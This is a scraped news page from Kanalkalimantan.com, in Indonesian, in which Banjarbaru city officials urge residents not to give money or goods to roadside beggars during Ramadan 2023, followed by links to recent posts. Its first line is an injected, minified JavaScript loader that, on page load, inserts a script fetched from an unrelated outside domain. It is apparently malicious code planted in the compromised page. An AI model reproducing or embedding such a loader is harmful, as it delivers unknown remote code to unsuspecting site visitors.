(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Soal Pengemis Pinggir Jalan di Banjarbaru, Warga Diminta Tak Beri Bantuan


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengimbau warga agar tidak memberikan uang maupun barang kepada pengemis alias Penyandang Masalah Kesejahteraan Sosial (PMKS) yang kerap mangkal di pinggir-pinggir jalan.

Keberadaan para pengemis jalanan dinilai meresahkan dan mengganggu masyarakat, serta kelancaran arus lalu lintas di jalan ibu jota Kalsel.

Razia maupun penertiban masih kurang, sehingga perlu dukungan dari warga agar tidak memberikan dalam bentuk apapun kepada pengemis.

Kepala Dinas Sosial (Dinsos) Kota Banjarbaru Rokhyat Riyadi mengatakan gelandangan dan pengemis yang kerap mangkal di tepi jalan tidak semua dari Kota Banjarbaru.

 

Baca juga: Pembunuhan di Kebun Karet Desa Mangkauk Terungkap, Kapolda Kalsel: Pelaku Preman Suruhan Perusahaan Batu Bara, Ada Luka Tembak di Kepala

“Rata-rata domisili mereka dari luar Kota Banjarbaru,” ungkapnya, Kamis (30/3/2023) siang.

Dengan banyaknya pengemis dari luar daerah, hal ini dinilai meresahkan disamping mengganggu kelancaran lalu lintas, juga mengganggu ketertiban umum membahayakan karena berada di pinggir jalan.

“Masyarakat harus bisa membantu, melalui tempat yang benar, misal kepada pengelola atau yayasan, sehingga bisa tepat sasaran,” imbaunya.

Upaya menghilangkan gepeng (Gelendangan pengemis) di Kota Banjarbaru memang kerap dilakukan, seperti melakukan pembinaan. Bahkan, sudah diberikan fasilitas rumah disabilitas.

“Sekali lagi, kalau masyarakat ingin bersedekah atau membantu bisa langsung ke pondok pesantren atau yayasan saja,” tekannya.

Baca juga: Haul ke-3 Menjadi Obat Rindu Sosok Ulama Penuh Tawa

Disinggung terkait penerapan sanksi kepada pemberi gepeng, dibeberkannya saat ini belum sampai terencana membuat peraturan tersebut.

“Nanti kita tinjau, sementera masih berupa imbauan,” tutupnya.

Senada dengan Kadinsos Banjarbaru, Kepala Satpol PP Banjarbaru Hidayaturahman juga mengimbau agar warga Banjarbaru tidak memberikan apapun ke pengemis.

“Jangan berikan apapun ke pengemis,” imbaunya.

Disebutkan Dayat, pada bulan Ramadhan ini, pihaknya akan gencar melakukan patroli, kalaundiperlukan kembali melakukan penertiban dengan menggandeng Dinsos Banjarbaru. Nantinya, para pengemis ini akan dibawa ke rumah singgah di bawah binaan Dinsos Banjarbaru.

“Tindakan yang diambil dilakukan secara persuasif. Karena ini bulan Ramadan, kita tak ingin ibadah puasa kita terganggu saat penertiban mereka tanpa mengurangi penerapan Perda yang kita lakukan,” tandasnya. (Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.